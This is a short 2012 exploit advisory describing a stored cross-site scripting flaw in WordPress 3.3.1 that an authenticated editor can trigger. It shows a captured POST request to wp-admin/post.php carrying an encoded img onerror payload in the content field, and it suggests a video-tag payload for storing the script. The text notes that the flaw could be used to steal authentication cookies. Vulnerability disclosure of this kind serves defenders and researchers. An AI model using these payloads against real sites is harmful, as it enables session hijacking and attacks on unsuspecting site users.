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WordPress 3.3.1 Post-Auth Cross Site Scripting

WordPress 3.3.1 Post-Auth Cross Site Scripting
Posted Mar 11, 2012
Authored by HauntIT

WordPress version 3.3.1 suffers from a post authentication persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | f97613db45d66aad790bf73fb59b3407

WordPress 3.3.1 Post-Auth Cross Site Scripting

Change Mirror Download
# TITLE ....... # Wordpress 3.3.1 post-auth persistent XSS ............ #
# DATE ........ # 18.02.2012 .......................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #
# SOFT LINK ... # http://wordpress.org ................................ #
# VERSION ..... # 1.0.0 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

# 2. What is the type of vulnerability?

This is standard persistent XSS for normal (registered) user (with 'editor' role).

"An attacker may exploit the html-injection issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the saffected site. This
may allow to steal cookie-based authentication credentials, control how the site
is displayed, and launch other attacks."

# 3. Where is bug :)
...cut from Burp...
POST /www/Wordpress/wordpress/wp-admin/post.php HTTP/1.1
(...)
content=qqqqqqqqqqqqqqqqqqqqqq"%2f%3e%3cimg%20src%3dx%20onerror%3dalert(123)%3e%3c
...cut from Burp...

By setting up 'content' parameter to value contains JS payload we can trigger XSS (add it
for other users in WP).

Payload to use for storing XSS could be tag 'video':
<video onload=<xss>>

# 4. More...

- http://www.wordpress.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

# Best regards
#

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